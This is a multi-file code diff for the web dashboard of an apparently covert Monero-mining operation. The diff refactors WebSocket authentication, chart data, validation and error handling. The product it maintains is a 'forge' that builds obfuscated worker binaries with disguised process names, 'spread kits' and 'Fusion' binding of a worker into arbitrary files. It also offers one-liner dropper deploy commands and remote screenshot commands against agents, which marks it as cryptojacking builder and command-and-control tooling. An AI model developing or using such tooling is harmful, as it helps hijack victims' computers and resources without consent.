await new Promise((r) => setTimeout(r, 3100));
});
await waitFor(() => expect(MockWebSocket.instances).toHaveLength(2));
}, 10000);
it('closes socket on unmount', () => {
it('closes socket on unmount', async () => {
const closeSpy = vi.spyOn(MockWebSocket.prototype, 'close');
const { unmount } = render(<WebSocketProvider><span /></WebSocketProvider>);
await waitForSocket();
unmount();
expect(closeSpy).toHaveBeenCalled();
});

View File

@@ -9,7 +9,7 @@ import type {
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
import { WebSocketContext } from './WebSocketContext';
import type { SeqCommandResult } from './WebSocketContext';
import { getStoredAuth } from '../api/auth';
import { authHeaders, getStoredAuth } from '../api/auth';
/**
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
@@ -54,25 +54,44 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
const existing = wsRef.current;
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
existing.onclose = null;
existing.close();
}
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?token=${encodeURIComponent(token)}`;
const ws = new WebSocket(wsUrl);
wsRef.current = ws;
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
ws.onclose = () => {
const openSocket = async () => {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
let wsQuery = `token=${encodeURIComponent(token)}`;
try {
const resp = await fetch('/api/v1/auth/ws-ticket', {
method: 'POST',
headers: authHeaders(),
});
if (resp.ok) {
const data = (await resp.json()) as { ticket?: string };
if (data.ticket) {
wsQuery = `ticket=${encodeURIComponent(data.ticket)}`;
}
}
} catch {
/* fall back to legacy token query param */
}
if (unmounted.current) return;
setIsConnected(false);
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
if (!getStoredAuth()) return;
reconnectTimer.current = setTimeout(connect, 3000);
};
ws.onerror = () => { ws.close(); };
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?${wsQuery}`;
const ws = new WebSocket(wsUrl);
wsRef.current = ws;
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
ws.onclose = () => {
if (unmounted.current) return;
setIsConnected(false);
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
if (!getStoredAuth()) return;
reconnectTimer.current = setTimeout(connect, 3000);
};
ws.onerror = () => { ws.close(); };
ws.onmessage = (event) => {
try {
@@ -222,6 +241,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
console.error('Failed to parse WebSocket message:', err);
}
};
};
void openSocket();
}, []);
useEffect(() => {

View File

@@ -5,8 +5,6 @@ import {
resolveChartSeries,
chartSeriesDelta,
chartSeriesPeak,
SAMPLE_CONTRIBUTION_BARS,
SAMPLE_FLEET_PREVIEW,
} from './chartSampleData';
describe('chartSampleData', () => {
@@ -20,44 +18,23 @@ describe('chartSampleData', () => {
expect(chartSeriesPeak(series)).toBeGreaterThan(0);
});
it('hashrate sample trends upward (mining ramp)', () => {
const series = generateSampleSeries('hashrate', 48);
expect(series[series.length - 1].value).toBeGreaterThan(series[0].value);
const delta = chartSeriesDelta(series);
expect(delta).not.toBeNull();
expect(delta!).toBeGreaterThan(0);
it('resolveChartSeries returns empty when live is empty', () => {
const { data, mode } = resolveChartSeries([]);
expect(mode).toBe('empty');
expect(data).toHaveLength(0);
});
it('accept sample stays in realistic pool band', () => {
const series = generateSampleSeries('accept', 48);
for (const p of series) {
expect(p.value).toBeGreaterThanOrEqual(90);
expect(p.value).toBeLessThanOrEqual(100);
}
});
it('resolveChartSeries uses sample when live is empty', () => {
const { data, mode } = resolveChartSeries([], 'hashrate');
expect(mode).toBe('sample');
expect(data.length).toBe(48);
expect(validateChartSeries(data).ok).toBe(true);
});
it('resolveChartSeries prefers live when enough points', () => {
const live = generateSampleSeries('cpu', 20).map((p, i) => ({
...p,
value: 40 + i * 0.5,
}));
const { data, mode } = resolveChartSeries(live, 'cpu');
it('resolveChartSeries returns live slice when data exists', () => {
const live = generateSampleSeries('cpu', 20);
const { data, mode } = resolveChartSeries(live);
expect(mode).toBe('live');
expect(data.length).toBe(20);
});
it('preview constants are internally consistent', () => {
const totalPct = SAMPLE_CONTRIBUTION_BARS.reduce((s, b) => s + b.pct, 0);
expect(totalPct).toBeGreaterThan(98);
expect(totalPct).toBeLessThan(102);
expect(SAMPLE_FLEET_PREVIEW.hashrate).toBeGreaterThan(50_000);
expect(SAMPLE_FLEET_PREVIEW.xmrPerDay).toBeGreaterThan(0);
it('chartSeriesDelta computes trend', () => {
const series = generateSampleSeries('hashrate', 48);
const delta = chartSeriesDelta(series);
expect(delta).not.toBeNull();
expect(delta!).toBeGreaterThan(0);
});
});

View File

@@ -1,41 +1,8 @@
import type { ChartPoint } from '../components/Charts/HashrateChart';
import type { ContributionBar } from './fleetAnalytics';
export type ChartSeriesKind = 'hashrate' | 'accept' | 'cpu' | 'mem' | 'gpu';
export type ChartDisplayMode = 'live' | 'sample' | 'blend';
const MIN_LIVE_POINTS = 12;
/** Fleet snapshot shown when no live miners — deck still feels “about to print”. */
export const SAMPLE_FLEET_PREVIEW = {
hashrate: 128_400,
acceptRate: 96.8,
avgCpu: 52,
avgMem: 61,
onlinePct: 88,
onlineCount: 7,
agentCount: 8,
xmrPerDay: 0.0384,
xmrPrice: 168.42,
} as const;
export const SAMPLE_CONTRIBUTION_BARS: ContributionBar[] = [
{ id: 's1', name: 'Vault-01', hashrate: 42_800, pct: 33.4 },
{ id: 's2', name: 'Forge-Rig', hashrate: 31_200, pct: 24.3 },
{ id: 's3', name: 'Lan-Node-7', hashrate: 28_100, pct: 21.9 },
{ id: 's4', name: 'Basement-XMR', hashrate: 26_300, pct: 20.4 },
];
export const SAMPLE_ACTIVITY = [
{ id: 'sa1', label: 'OK', ok: true, time: '12:04:11' },
{ id: 'sa2', label: 'OK', ok: true, time: '12:03:58' },
{ id: 'sa3', label: 'OK', ok: true, time: '12:03:41' },
{ id: 'sa4', label: 'OK', ok: true, time: '12:03:22' },
{ id: 'sa5', label: 'OK', ok: true, time: '12:02:59' },
{ id: 'sa6', label: 'BAD', ok: false, time: '12:02:44' },
{ id: 'sa7', label: 'OK', ok: true, time: '12:02:31' },
];
export type ChartDisplayMode = 'live' | 'empty';
function formatTime(offsetMin: number): string {
const d = new Date(Date.now() - offsetMin * 60_000);
@@ -46,7 +13,7 @@ function noise(i: number, amp: number): number {
return Math.sin(i * 0.7) * amp + Math.cos(i * 0.31) * (amp * 0.6);
}
/** Deterministic rich-looking telemetry for chart QA and empty-deck preview. */
/** Test-only synthetic series (not used in production UI). */
export function generateSampleSeries(kind: ChartSeriesKind, points = 48): ChartPoint[] {
const out: ChartPoint[] = [];
for (let i = points - 1; i >= 0; i--) {
@@ -92,41 +59,13 @@ export function validateChartSeries(data: ChartPoint[]): { ok: boolean; errors:
return { ok: errors.length === 0, errors };
}
function hasMeaningfulLive(live: ChartPoint[], kind: ChartSeriesKind): boolean {
if (live.length < MIN_LIVE_POINTS) return false;
const vals = live.map((p) => p.value);
const max = Math.max(...vals);
const min = Math.min(...vals);
if (kind === 'hashrate' || kind === 'gpu') return max > 0 && max !== min;
return max - min > 0.05;
}
/** Prefer live telemetry; pad with sample so graphs never look broken or empty. */
export function resolveChartSeries(
live: ChartPoint[],
kind: ChartSeriesKind,
options?: { tailValue?: number; minPoints?: number }
): { data: ChartPoint[]; mode: ChartDisplayMode } {
const minPoints = options?.minPoints ?? MIN_LIVE_POINTS;
/** Live telemetry only — no sample or blended filler in the dashboard. */
export function resolveChartSeries(live: ChartPoint[]): { data: ChartPoint[]; mode: ChartDisplayMode } {
const validation = validateChartSeries(live);
const liveOk = validation.ok && live.length >= minPoints && hasMeaningfulLive(live, kind);
if (liveOk) {
return { data: live.slice(-60), mode: 'live' };
if (!validation.ok || live.length === 0) {
return { data: [], mode: 'empty' };
}
const sample = generateSampleSeries(kind, 48);
if (live.length === 0) {
if (options?.tailValue != null && Number.isFinite(options.tailValue)) {
const last = sample[sample.length - 1];
sample[sample.length - 1] = { ...last, value: options.tailValue };
}
return { data: sample, mode: 'sample' };
}
const merged = [...sample.slice(0, Math.max(0, 48 - live.length)), ...live.slice(-24)];
validateChartSeries(merged);
return { data: merged, mode: 'blend' };
return { data: live.slice(-60), mode: 'live' };
}
export function chartSeriesDelta(data: ChartPoint[]): number | null {

View File

@@ -1,5 +1,6 @@
import { describe, expect, it } from 'vitest';
import { runForgeCompatibilityChecks } from './forgeCompatibility';
import { runForgePreflight } from './forgeValidation';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import type { BuildRequest } from '../types';
@@ -177,35 +178,37 @@ describe('runForgeCompatibilityChecks', () => {
expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
});
it('errors when worker name is empty', () => {
expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true);
it('errors when worker name is empty (preflight)', () => {
const checks = runForgePreflight(baseForm({ worker_name: '' }), false);
expect(checks.find((c) => c.id === 'worker')?.level).toBe('error');
});
it('errors when server URL uses localhost', () => {
expect(
hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error')
).toBe(true);
it('errors when server URL uses localhost (preflight)', () => {
const checks = runForgePreflight(baseForm({ server_url: 'http://localhost:8989' }), false);
expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
});
it('errors when server URL uses 127.0.0.1', () => {
expect(
hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error')
).toBe(true);
it('errors when server URL uses 127.0.0.1 (preflight)', () => {
const checks = runForgePreflight(baseForm({ server_url: 'http://127.0.0.1:8989' }), false);
expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
});
it('warns when wallet does not match Monero format', () => {
expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true);
it('warns when wallet does not match Monero format (preflight)', () => {
const checks = runForgePreflight(baseForm({ wallet: 'not-a-wallet' }), false);
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('warn');
});
it('accepts minimum-length wallet (90 chars)', () => {
it('accepts minimum-length wallet (90 chars) in preflight', () => {
const wallet = '4' + 'A'.repeat(89);
expect(wallet.length).toBe(90);
expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false);
const checks = runForgePreflight(baseForm({ wallet }), false);
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
});
it('accepts subaddress starting with 8', () => {
it('accepts subaddress starting with 8 in preflight', () => {
const subaddress = '8' + 'B'.repeat(94);
expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false);
const checks = runForgePreflight(baseForm({ wallet: subaddress }), false);
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
});
it('emits forge_ready when core config is coherent', () => {

View File

@@ -1,11 +1,6 @@
import type { BuildRequest } from '../types';
import type { PreflightCheck } from './forgeValidation';
function looksLikeXMRWallet(addr: string): boolean {
const a = addr.trim();
// Standard Monero addresses start with 4, subaddresses with 8
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
}
import { looksLikeXMRWallet } from './forgeValidation';
/** Extra incompatibility checks beyond basic validation. */
export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
@@ -170,30 +165,6 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
const workerName = form.worker_name || '';
const serverUrl = form.server_url || '';
if (!workerName.trim()) {
checks.push({
id: 'worker_name_empty',
level: 'error',
message: 'Worker Name is required. This identifies the machine in your fleet.',
});
}
if (serverUrl.includes('localhost') || serverUrl.includes('127.0.0.1')) {
checks.push({
id: 'server_url_localhost',
level: 'error',
message: 'Control server URL uses localhost or 127.0.0.1 — deployed workers will try to connect to themselves instead of the server.',
});
}
if (wallet.trim() && !looksLikeXMRWallet(wallet)) {
checks.push({
id: 'wallet_invalid',
level: 'warn',
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
});
}
if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) {
checks.push({
id: 'forge_ready',

View File

@@ -37,8 +37,8 @@ const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
];
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
if (form.fusion_enabled) return 'fusion';
if (form.spread_kit) return 'spread_kit';
if (form.fusion_enabled) return 'fusion';
return 'single';
}

View File

@@ -64,7 +64,7 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
if (!form.wallet.trim()) {
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
} else if (!looksLikeXMRWallet(form.wallet)) {
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4).' });
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90106).' });
} else {
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
}

View File

@@ -113,6 +113,14 @@ export default function AgentsPage() {
[agents]
);
useEffect(() => {
const liveIds = new Set(agents.map((a) => a.id));
setSelectedIds((prev) => {
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
return pruned.size === prev.size ? prev : pruned;
});
}, [agents]);
useEffect(() => {
if (!commandResults?.length || !screenshotWatchId.current) return;
const watch = screenshotWatchId.current;
@@ -516,7 +524,13 @@ export default function AgentsPage() {
</div>
<div className="detail-item">
<span className="detail-label">Wallet</span>
<span className="detail-value mono">{selectedAgent.wallet?.substring(0, 20)}...</span>
<span className="detail-value mono">
{selectedAgent.wallet
? selectedAgent.wallet.length > 24
? `${selectedAgent.wallet.slice(0, 20)}`
: selectedAgent.wallet
: '—'}
</span>
</div>
<div className="detail-item">
<span className="detail-label">IP Address</span>
@@ -597,9 +611,7 @@ export default function AgentsPage() {
time: new Date(s.timestamp).toLocaleTimeString(),
value: s.hashrate,
}));
const chart = resolveChartSeries(live, 'hashrate', {
tailValue: selectedAgent.hashrate_15m,
});
const chart = resolveChartSeries(live);
return (
<HashrateChart
title=""

View File

@@ -71,23 +71,27 @@ function CopyButton({ text, label }: { text: string; label: string }) {
);
}
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDeleted: () => void; onError: (msg: string) => void }) {
const [confirming, setConfirming] = useState(false);
const [busy, setBusy] = useState(false);
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const handleClick = () => {
const handleClick = async () => {
if (!confirming) {
setConfirming(true);
timerRef.current = setTimeout(() => setConfirming(false), 3000);
} else {
if (timerRef.current) clearTimeout(timerRef.current);
setBusy(true);
api.deleteBuild(buildId).finally(() => {
setBusy(false);
setConfirming(false);
onDeleted();
});
return;
}
if (timerRef.current) clearTimeout(timerRef.current);
setBusy(true);
try {
await api.deleteBuild(buildId);
onDeleted();
} catch (e) {
onError(e instanceof Error ? e.message : 'Failed to delete build');
} finally {
setBusy(false);
setConfirming(false);
}
};
@@ -96,7 +100,7 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
type="button"
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
disabled={busy}
onClick={handleClick}
onClick={() => void handleClick()}
title="Delete this build from server"
>
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
@@ -104,7 +108,17 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
);
}
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
function PinButton({
buildId,
pinned,
onPinned,
onError,
}: {
buildId: string;
pinned: boolean;
onPinned: () => void;
onError: (msg: string) => void;
}) {
const [busy, setBusy] = useState(false);
const handleClick = async () => {
@@ -118,7 +132,7 @@ function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boo
}
onPinned();
} catch (e) {
console.error(e);
onError(e instanceof Error ? e.message : pinned ? 'Failed to unpin build' : 'Failed to pin build');
} finally {
setBusy(false);
}
@@ -145,12 +159,14 @@ function BuildCard({
onReforge,
onDeleted,
onPinned,
onActionError,
}: {
build: BuildRecord;
serverBase: string;
onReforge: (b: BuildRecord) => void;
onDeleted: () => void;
onPinned: () => void;
onActionError: (msg: string) => void;
}) {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
@@ -249,7 +265,11 @@ function BuildCard({
{/* ── Dropper one-liners ── */}
<div className="bm-dropper">
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
<div className="bm-downloads-label font-tech">
{build.pinned
? 'ONE-LINER DEPLOY (serves this pinned build)'
: 'ONE-LINER DEPLOY (serves latest build)'}
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">Win</span>
<code className="bm-dropper-cmd">{ps1}</code>
@@ -274,7 +294,7 @@ function BuildCard({
<span className="bm-qr-label">Scan to download</span>
</div>
<div className="bm-action-btns">
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
<button
type="button"
className="btn btn-secondary bm-reforge-btn"
@@ -282,7 +302,7 @@ function BuildCard({
>
Re-forge
</button>
<DeleteButton buildId={build.id} onDeleted={onDeleted} />
<DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
</div>
</div>
</NeonCard>
@@ -295,28 +315,31 @@ export default function BuildManagerPage() {
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [loading, setLoading] = useState(true);
const [error, setError] = useState('');
const [serverBase, setServerBase] = useState('');
const [serverBase, setServerBase] = useState(() => window.location.origin.replace(/\/$/, ''));
const navigate = useNavigate();
const applyServerBase = useCallback((suggestedUrl?: string) => {
const pub = suggestedUrl?.trim().replace(/\/$/, '');
setServerBase(pub || window.location.origin.replace(/\/$/, ''));
}, []);
const loadBuilds = useCallback(async () => {
try {
const list = await api.listBuilds();
const [list, info] = await Promise.all([
api.listBuilds(),
api.getServerInfo().catch(() => null),
]);
setBuilds(list);
setError('');
if (info) applyServerBase(info.suggested_url);
else applyServerBase();
} catch (e) {
setError(e instanceof Error ? e.message : 'Failed to load builds');
applyServerBase();
} finally {
setLoading(false);
}
// Load server base URL separately so a slow/hung server-info call
// never blocks the builds list from rendering.
api.getServerInfo()
.then((info) => {
const pub = info?.suggested_url?.trim().replace(/\/$/, '');
if (pub) setServerBase(pub);
})
.catch(() => {/* use window.location.origin fallback already set */});
}, []);
}, [applyServerBase]);
useEffect(() => { loadBuilds(); }, [loadBuilds]);
@@ -375,6 +398,7 @@ export default function BuildManagerPage() {
onReforge={handleReforge}
onDeleted={loadBuilds}
onPinned={loadBuilds}
onActionError={(msg) => setError(msg)}
/>
))}
</div>

View File

@@ -59,15 +59,17 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
// Simulated stage timeline — (label, target% completed at this point, min ms from start)
// Simulated stage timeline — real compiles (garble/universal/fusion) often take 1030+ min.
// Cap below 95% until the server responds; finishForgeSuccess sets 100%.
const FORGE_PROGRESS_CAP = 94;
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
{ label: 'Resolving dependencies...', pct: 8, minMs: 0 },
{ label: 'Compiling agent source...', pct: 28, minMs: 800 },
{ label: 'Cross-compiling targets...', pct: 52, minMs: 2500 },
{ label: 'Applying obfuscation...', pct: 68, minMs: 5000 },
{ label: 'Packaging deliverable...', pct: 82, minMs: 8000 },
{ label: 'Signing & finalizing...', pct: 93, minMs: 11000 },
{ label: 'Almost done...', pct: 98, minMs: 15000 },
{ label: 'Resolving dependencies...', pct: 6, minMs: 0 },
{ label: 'Compiling agent source...', pct: 18, minMs: 20000 },
{ label: 'Cross-compiling targets...', pct: 36, minMs: 90000 },
{ label: 'Applying obfuscation...', pct: 52, minMs: 240000 },
{ label: 'Packaging deliverable...', pct: 68, minMs: 420000 },
{ label: 'Signing & finalizing...', pct: 82, minMs: 600000 },
{ label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 },
];
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
@@ -153,6 +155,9 @@ export default function BuilderPage() {
const forgedThisSessionRef = useRef(false);
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
const [pendingReforgeBuild, setPendingReforgeBuild] = useState<BuildRecord | null>(null);
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
const fusionPrepRef = useRef<HTMLDivElement>(null);
// Drive simulated stage progress while a single build is running
useEffect(() => {
@@ -175,14 +180,14 @@ export default function BuilderPage() {
}
const s = FORGE_STAGES[next];
// Smoothly interpolate within this stage toward the next stage's target %
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98;
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000;
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP;
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000;
const stageElapsed = elapsed - s.minMs;
const stageDur = nextMs - s.minMs;
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
const pct = s.pct + (nextPct - s.pct) * frac;
if (next !== stageIdx) stageIdx = next;
setStage(s.label, Math.min(98, pct));
setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct));
forgeStageTimerRef.current = setTimeout(advance, 250);
};
advance();
@@ -238,8 +243,10 @@ export default function BuilderPage() {
setListenPort(config.port || 8989);
}
const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]);
setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates }));
const buildList = builds as BuildRecord[];
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList);
setRecentBuilds(buildList);
setForm(applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }));
})
.catch((err) => {
console.error(err);
@@ -257,17 +264,21 @@ export default function BuilderPage() {
}
};
// Handle ?reforge=<buildId> links from Build Manager page
// Handle ?reforge=<buildId> links from Build Manager — pre-fill only; user confirms before compile.
useEffect(() => {
const reforgeId = searchParams.get('reforge');
if (!reforgeId || recentBuilds.length === 0) return;
if (!reforgeId || !form || recentBuilds.length === 0) return;
const match = recentBuilds.find((b) => b.id === reforgeId);
if (match) {
reForgeFromBuild(match);
const merged = buildRequestFromRecord(match, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
setForm(merged);
setPendingReforgeBuild(match);
setError('');
setLastBuild(null);
setSearchParams({}, { replace: true });
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [searchParams, recentBuilds]);
}, [searchParams, recentBuilds, form]);
const finishForgeSuccess = async (result: BuildResponse) => {
setStage('Build complete!', 100);
@@ -355,6 +366,12 @@ export default function BuilderPage() {
}
};
const focusFusionPrepPicker = () => {
setHighlightFusionPrep(true);
fusionPrepRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
window.setTimeout(() => setHighlightFusionPrep(false), 6000);
};
const reForgeFromBuild = async (build: BuildRecord) => {
if (!form) return;
const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
@@ -366,8 +383,9 @@ export default function BuilderPage() {
// server after a build completes (M15). Prompt the user to re-upload first.
if (merged.fusion_enabled && !fusionPrepFile) {
setError(
'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.'
'This build used a Fusion payload. Re-upload the payload file in the Fusion section below, then confirm Re-forge again.'
);
focusFusionPrepPicker();
return;
}
@@ -651,7 +669,16 @@ export default function BuilderPage() {
await finishForgeSuccess(result);
} catch (err: any) {
if (err.message !== 'build cancelled') {
setError(err.message || 'Build failed');
let msg = err?.message || 'Build failed';
const aborted =
err?.name === 'AbortError' ||
/abort|timed out|timeout/i.test(msg);
if (aborted) {
msg =
'Forge request ended early (browser or proxy timeout). The server may still be compiling — open Build Manager or refresh this page in a minute.';
}
setError(msg);
void loadRecentBuilds();
}
} finally {
cancelTokenRef.current = '';
@@ -702,7 +729,7 @@ export default function BuilderPage() {
[form, fusionPrepFile]
);
const preflightChecks = useMemo(
() => (form ? runForgePreflight(form, !!fusionPrepFile) : []),
() => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []),
[form, fusionPrepFile]
);
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
@@ -811,6 +838,39 @@ export default function BuilderPage() {
return (
<div className="page fade-in command-deck">
<SetupBanner status={setupStatus} />
{pendingReforgeBuild && (
<div className="reforge-confirm-banner form-error" role="alert">
<span></span>
<div style={{ flex: 1 }}>
<strong>Re-forge {pendingReforgeBuild.worker_name}?</strong>
<p className="form-hint" style={{ margin: '0.35rem 0 0', color: 'inherit' }}>
Settings were loaded from Build Manager. Confirm to start compiling this cannot be undone mid-forge.
</p>
</div>
<div style={{ display: 'flex', gap: '0.5rem', flexShrink: 0 }}>
<button
type="button"
className="btn btn-primary btn-sm"
disabled={building}
onClick={() => {
const build = pendingReforgeBuild;
setPendingReforgeBuild(null);
void reForgeFromBuild(build);
}}
>
Confirm Re-forge
</button>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={building}
onClick={() => setPendingReforgeBuild(null)}
>
Cancel
</button>
</div>
</div>
)}
{/* Hidden file input for importing blueprint .json files */}
<input
type="file"
@@ -1867,7 +1927,10 @@ export default function BuilderPage() {
{form.fusion_enabled && (
<>
{/* Single-file pick (used when Forge button is clicked) */}
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
<div
ref={fusionPrepRef}
className={`form-group fusion-prep-picker${highlightFusionPrep ? ' fusion-prep-highlight' : ''}${fieldMeta.fusion_prep?.disabled ? ' field-disabled' : ''}`}
>
<div className="label-row">
<label className="label">
Drop any file to fuse <HelpTip field="fusion_prep" />
@@ -1880,6 +1943,7 @@ export default function BuilderPage() {
accept="*"
onChange={(e) => {
applyFusionFileSelection(e.target.files?.[0] || null);
setHighlightFusionPrep(false);
e.target.value = '';
}}
/>

View File

@@ -123,12 +123,12 @@ describe('DashboardPage', () => {
expect(await screen.findByText('No miners on the wire')).toBeInTheDocument();
});
it('shows projection charts and wealth strip with no agents', async () => {
it('does not show projection or fake earnings with no agents', async () => {
renderDashboard();
expect(await screen.findByText(/Projection mode/i)).toBeInTheDocument();
expect(await screen.findByText('Fleet Hashrate Wave')).toBeInTheDocument();
expect(await screen.findByText('Accept Rate Pulse')).toBeInTheDocument();
expect(await screen.findByText('Target Fleet Earnings')).toBeInTheDocument();
expect(await screen.findByText('Command Deck')).toBeInTheDocument();
expect(screen.queryByText(/Projection mode/i)).not.toBeInTheDocument();
expect(screen.queryByText('Target Fleet Earnings')).not.toBeInTheDocument();
expect(screen.queryByText('Vault-01')).not.toBeInTheDocument();
});
it('renders stat labels and top agent card', async () => {

View File

@@ -12,7 +12,6 @@ import {
PoolStatusPanel,
AIActivityPanel,
EarningsEstimator,
WealthEarningsPreview,
FleetHealthCard,
ContributionBars,
UnderperformerList,
@@ -46,9 +45,6 @@ import {
} from '../help/fleetAnalytics';
import {
resolveChartSeries,
SAMPLE_ACTIVITY,
SAMPLE_CONTRIBUTION_BARS,
SAMPLE_FLEET_PREVIEW,
} from '../help/chartSampleData';
import './Pages.css';
@@ -133,6 +129,14 @@ export default function DashboardPage() {
}
}, [recentShares]);
useEffect(() => {
const liveIds = new Set(agents.map((a) => a.id));
setSelectedIds((prev) => {
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
return pruned.size === prev.size ? prev : pruned;
});
}, [agents]);
const totalHashrate = agents.reduce((sum, a) => sum + a.hashrate_15m, 0);
const onlineCount = agents.filter((a) => a.status === 'online').length;
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
@@ -154,7 +158,7 @@ export default function DashboardPage() {
[gpuAgents]
);
const bestGPUAgent = useMemo(
() => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
() => [...gpuAgents].sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
[gpuAgents]
);
const gpuModels = useMemo(
@@ -166,10 +170,8 @@ export default function DashboardPage() {
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
const previewDeck = agents.length === 0 || (totalHashrate <= 0 && onlineCount === 0);
useEffect(() => {
if (previewDeck || totalHashrate <= 0) {
if (totalHashrate <= 0) {
setEstXmrDay(null);
return;
}
@@ -183,15 +185,7 @@ export default function DashboardPage() {
if (!controller.signal.aborted) setEstXmrDay(null);
});
return () => controller.abort();
}, [totalHashrate, previewDeck]);
